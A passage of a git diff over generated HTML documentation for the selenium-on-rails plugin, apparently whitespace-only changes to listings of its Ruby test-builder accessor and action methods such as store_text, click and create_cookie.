-515:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedValues'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+514:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_values</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+515:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedValues'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 516:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2632,8 +2632,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000119-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 527</span>
-527:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_something_selected</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
-528:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSomethingSelected'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+527:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_something_selected</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+528:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSomethingSelected'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 529:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2681,8 +2681,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000109-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 383</span>
-383:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_table</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">row</span>, <span class="ruby-identifier">column</span>, <span class="ruby-identifier">variable_name</span>
-384:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeTable'</span>, <span class="ruby-node">&quot;#{locator}.#{row}.#{column}&quot;</span>, <span class="ruby-identifier">variable_name</span>
+383:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_table</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">row</span>, <span class="ruby-identifier">column</span>, <span class="ruby-identifier">variable_name</span>
+384:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeTable'</span>, <span class="ruby-node">&quot;#{locator}.#{row}.#{column}&quot;</span>, <span class="ruby-identifier">variable_name</span>
 385:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2733,8 +2733,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000106-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 331</span>
-331:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_text</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-332:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeText'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+331:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_text</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+332:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeText'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 333:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2783,8 +2783,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000124-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 607</span>
-607:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_text_present</span> <span class="ruby-identifier">pattern</span>, <span class="ruby-identifier">variable_name</span>
-608:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeTextPresent'</span>, <span class="ruby-identifier">pattern</span>, <span class="ruby-identifier">variable_name</span>
+607:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_text_present</span> <span class="ruby-identifier">pattern</span>, <span class="ruby-identifier">variable_name</span>
+608:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeTextPresent'</span>, <span class="ruby-identifier">pattern</span>, <span class="ruby-identifier">variable_name</span>
 609:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2832,8 +2832,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000103-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 287</span>
-287:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_title</span> <span class="ruby-identifier">variable_name</span>
-288:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeTitle'</span>, <span class="ruby-identifier">variable_name</span>
+287:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_title</span> <span class="ruby-identifier">variable_name</span>
+288:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeTitle'</span>, <span class="ruby-identifier">variable_name</span>
 289:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2884,8 +2884,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000105-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 315</span>
-315:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_value</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-316:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeValue'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+315:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_value</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+316:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeValue'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 317:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2937,8 +2937,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000126-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 636</span>
-636:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_visible</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-637:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeVisible'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+636:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_visible</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+637:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeVisible'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 638:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -3006,8 +3006,8 @@ target)</tt>
           <div class="method-source-code" id="M000139-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 846</span>
-846:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_whether_this_frame_match_frame_expression</span> <span class="ruby-identifier">current_frame_string</span>, <span class="ruby-identifier">target</span>, <span class="ruby-identifier">variable_name</span>
-847:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
+846:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_whether_this_frame_match_frame_expression</span> <span class="ruby-identifier">current_frame_string</span>, <span class="ruby-identifier">target</span>, <span class="ruby-identifier">variable_name</span>
+847:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
 848:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -3075,8 +3075,8 @@ target)</tt>
           <div class="method-source-code" id="M000140-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 869</span>
-869:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_whether_this_window_match_window_expression</span> <span class="ruby-identifier">current_window_string</span>, <span class="ruby-identifier">target</span>, <span class="ruby-identifier">variable_name</span>
-870:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
+869:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_whether_this_window_match_window_expression</span> <span class="ruby-identifier">current_window_string</span>, <span class="ruby-identifier">target</span>, <span class="ruby-identifier">variable_name</span>
+870:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
 871:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilderActions.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilderActions.html
index ca560c1f..b48104f2 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilderActions.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilderActions.html
@@ -198,8 +198,8 @@ command for more information about option locators.
           <div class="method-source-code" id="M000023-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 148</span>
-148:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">add_selection</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
-149:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'addSelection'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
+148:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">add_selection</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
+149:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'addSelection'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
 150:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -225,8 +225,8 @@ is called or a new page is loaded.
           <div class="method-source-code" id="M000034-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 221</span>
-221:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">alt_key_down</span>
-222:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'altKeyDown'</span>
+221:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">alt_key_down</span>
+222:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'altKeyDown'</span>
 223:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -251,8 +251,8 @@ Simulates the user releasing the alt key.
           <div class="method-source-code" id="M000035-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 226</span>
-226:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">alt_key_up</span>
-227:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'altKeyUp'</span>
+226:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">alt_key_up</span>
+227:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'altKeyUp'</span>
 228:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -278,8 +278,8 @@ next JavaScript prompt (<tt>window.prompt()</tt>).
           <div class="method-source-code" id="M000030-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 199</span>
-199:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">answer_on_next_prompt</span> <span class="ruby-identifier">answer</span>
-200:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'answerOnNextPrompt'</span>, <span class="ruby-identifier">answer</span>
+199:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">answer_on_next_prompt</span> <span class="ruby-identifier">answer</span>
+200:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'answerOnNextPrompt'</span>, <span class="ruby-identifier">answer</span>
 201:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -312,8 +312,8 @@ href="TestBuilderActions.html#M000036">brake</a>()</tt>
           <div class="method-source-code" id="M000036-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 236</span>
-236:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">brake</span>
-237:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'break'</span>
+236:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">brake</span>
+237:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'break'</span>
 238:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -338,8 +338,8 @@ Check a toggle-button (checkbox/radio).
           <div class="method-source-code" id="M000020-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 108</span>
-108:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">check</span> <span class="ruby-identifier">locator</span>
-109:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'check'</span>, <span class="ruby-identifier">locator</span>
+108:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">check</span> <span class="ruby-identifier">locator</span>
+109:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'check'</span>, <span class="ruby-identifier">locator</span>
 110:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -367,8 +367,8 @@ running this command, the next call to <tt>confirm()</tt> will return
           <div class="method-source-code" id="M000029-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 193</span>
-193:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">choose_cancel_on_next_confirmation</span>
-194:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'chooseCancelOnNextConfirmation'</span>
+193:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">choose_cancel_on_next_confirmation</span>
+194:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'chooseCancelOnNextConfirmation'</span>
 195:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -396,8 +396,8 @@ href="TestBuilderActions.html#M000070">wait_for_page_to_load</a></tt>.
           <div class="method-source-code" id="M000011-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 47</span>
-47:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">click</span> <span class="ruby-identifier">locator</span>
-48:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'click'</span>, <span class="ruby-identifier">locator</span>
+47:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">click</span> <span class="ruby-identifier">locator</span>
+48:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'click'</span>, <span class="ruby-identifier">locator</span>
 49:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -425,8 +425,8 @@ href="TestBuilderActions.html#M000070">wait_for_page_to_load</a>.
           <div class="method-source-code" id="M000012-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 53</span>
-53:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">click_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
-54:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'clickAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+53:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">click_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+54:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'clickAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
 55:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -453,8 +453,8 @@ titlebar of a popup window or tab.
           <div class="method-source-code" id="M000033-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 215</span>
-215:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">close</span>
-216:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'close'</span>
+215:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">close</span>
+216:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'close'</span>
 217:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -480,8 +480,8 @@ do_control_up() is called or a new page is loaded.
           <div class="method-source-code" id="M000037-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 242</span>
-242:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">control_key_down</span>
-243:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'controlKeyDown'</span>
+242:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">control_key_down</span>
+243:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'controlKeyDown'</span>
 244:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -506,8 +506,8 @@ Simulates the user releasing the control key.
           <div class="method-source-code" id="M000038-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 247</span>
-247:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">control_key_up</span>
-248:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'controlKeyUp'</span>
+247:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">control_key_up</span>
+248:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'controlKeyUp'</span>
 249:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -549,8 +549,8 @@ value of &#8216;max_age&#8217; is second.
           <div class="method-source-code" id="M000039-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 260</span>
-260:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">create_cookie</span> <span class="ruby-identifier">name_value_pair</span>, <span class="ruby-identifier">options_string</span>
-261:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'createCookie'</span>, <span class="ruby-identifier">name_value_pair</span>, <span class="ruby-identifier">options_string</span>
+260:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">create_cookie</span> <span class="ruby-identifier">name_value_pair</span>, <span class="ruby-identifier">options_string</span>
+261:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'createCookie'</span>, <span class="ruby-identifier">name_value_pair</span>, <span class="ruby-identifier">options_string</span>
 262:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -575,8 +575,8 @@ Delete a named cookie with specified path.
           <div class="method-source-code" id="M000040-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 265</span>
-265:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">delete_cookie</span> <span class="ruby-identifier">name</span>, <span class="ruby-identifier">path</span>
-266:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'deleteCookie'</span>, <span class="ruby-identifier">name</span>, <span class="ruby-identifier">path</span>
+265:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">delete_cookie</span> <span class="ruby-identifier">name</span>, <span class="ruby-identifier">path</span>
+266:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'deleteCookie'</span>, <span class="ruby-identifier">name</span>, <span class="ruby-identifier">path</span>
 267:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -604,8 +604,8 @@ href="TestBuilderActions.html#M000070">wait_for_page_to_load</a></tt>.
           <div class="method-source-code" id="M000041-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 271</span>
-271:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">double_click</span> <span class="ruby-identifier">locator</span>
-272:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'doubleClick'</span>, <span class="ruby-identifier">locator</span>
+271:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">double_click</span> <span class="ruby-identifier">locator</span>
+272:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'doubleClick'</span>, <span class="ruby-identifier">locator</span>
 273:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -632,8 +632,8 @@ href="TestBuilderActions.html#M000070">wait_for_page_to_load</a></tt>.
           <div class="method-source-code" id="M000042-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 277</span>
-277:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">double_click_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
-278:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'doubleClickAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+277:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">double_click_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+278:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'doubleClickAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
 279:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -658,8 +658,8 @@ Drags an element a certain distance and then drops it.
           <div class="method-source-code" id="M000043-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 282</span>
-282:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">drag_and_drop</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">movements_string</span>
-283:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'dragAndDrop'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">movements_string</span>
+282:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">drag_and_drop</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">movements_string</span>
+283:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'dragAndDrop'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">movements_string</span>
 284:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -684,8 +684,8 @@ Drags an element and drops it on another element.
           <div class="method-source-code" id="M000044-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 287</span>
-287:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">drag_and_drop_to_object</span> <span class="ruby-identifier">locator_of_object_to_be_dragged</span>, <span class="ruby-identifier">locator_of_drag_destination_object</span>
-288:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'dragAndDropToObject'</span>, <span class="ruby-identifier">locator_of_object_to_be_dragged</span>, <span class="ruby-identifier">locator_of_drag_destination_object</span>
+287:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">drag_and_drop_to_object</span> <span class="ruby-identifier">locator_of_object_to_be_dragged</span>, <span class="ruby-identifier">locator_of_drag_destination_object</span>
+288:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'dragAndDropToObject'</span>, <span class="ruby-identifier">locator_of_object_to_be_dragged</span>, <span class="ruby-identifier">locator_of_drag_destination_object</span>
 289:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -711,8 +711,8 @@ href="Selenese.html">Selenese</a> tables. Useful for debugging.
           <div class="method-source-code" id="M000045-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 294</span>
-294:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">echo</span> <span class="ruby-identifier">message</span>
-295:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'echo'</span>, <span class="ruby-identifier">message</span>
+294:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">echo</span> <span class="ruby-identifier">message</span>
+295:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'echo'</span>, <span class="ruby-identifier">message</span>
 296:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -739,8 +739,8 @@ Explicitly simulate an event (e.g. <tt>&quot;focus&quot;</tt>,
           <div class="method-source-code" id="M000013-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 59</span>
-59:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fire_event</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">event_name</span>
-60:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'fireEvent'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">event_name</span>
+59:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fire_event</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">event_name</span>
+60:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'fireEvent'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">event_name</span>
 61:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -765,8 +765,8 @@ Simulates the user clicking the &quot;back&quot; button on their browser.
           <div class="method-source-code" id="M000031-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 204</span>
-204:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">go_back</span>
-205:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'goBack'</span>
+204:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">go_back</span>
+205:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'goBack'</span>
 206:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -792,8 +792,8 @@ for debugging.
           <div class="method-source-code" id="M000046-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 300</span>
-300:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">highlight</span> <span class="ruby-identifier">locator</span>
-301:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'highlight'</span>, <span class="ruby-identifier">locator</span>
+300:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">highlight</span> <span class="ruby-identifier">locator</span>
+301:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'highlight'</span>, <span class="ruby-identifier">locator</span>
 302:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -827,9 +827,9 @@ starting _ and the file extension don&#8216;t have to be specified.
           <div class="method-source-code" id="M000010-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 39</span>
-39:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">include_partial</span> <span class="ruby-identifier">path</span>, <span class="ruby-identifier">local_assigns</span> = {}
-40:     <span class="ruby-identifier">partial</span> = <span class="ruby-ivar">@view</span>.<span class="ruby-identifier">render</span> <span class="ruby-identifier">:partial</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">path</span>, <span class="ruby-identifier">:locals</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">local_assigns</span>
-41:     <span class="ruby-ivar">@output</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">partial</span>
+39:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">include_partial</span> <span class="ruby-identifier">path</span>, <span class="ruby-identifier">local_assigns</span> = {}
+40:     <span class="ruby-identifier">partial</span> = <span class="ruby-ivar">@view</span>.<span class="ruby-identifier">render</span> <span class="ruby-identifier">:partial</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">path</span>, <span class="ruby-identifier">:locals</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">local_assigns</span>
+41:     <span class="ruby-ivar">@output</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">partial</span>
 42:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -858,8 +858,8 @@ the ASCII value of that key.
           <div class="method-source-code" id="M000015-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 75</span>
-75:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">key_down</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
-76:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'keyDown'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
+75:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">key_down</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
+76:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'keyDown'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
 77:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -888,8 +888,8 @@ the ASCII value of that key.
           <div class="method-source-code" id="M000014-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 67</span>
-67:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">key_press</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
-68:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'keyPress'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
+67:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">key_press</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
+68:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'keyPress'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
 69:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -918,8 +918,8 @@ the ASCII value of that key.
           <div class="method-source-code" id="M000016-source">
 <pre>
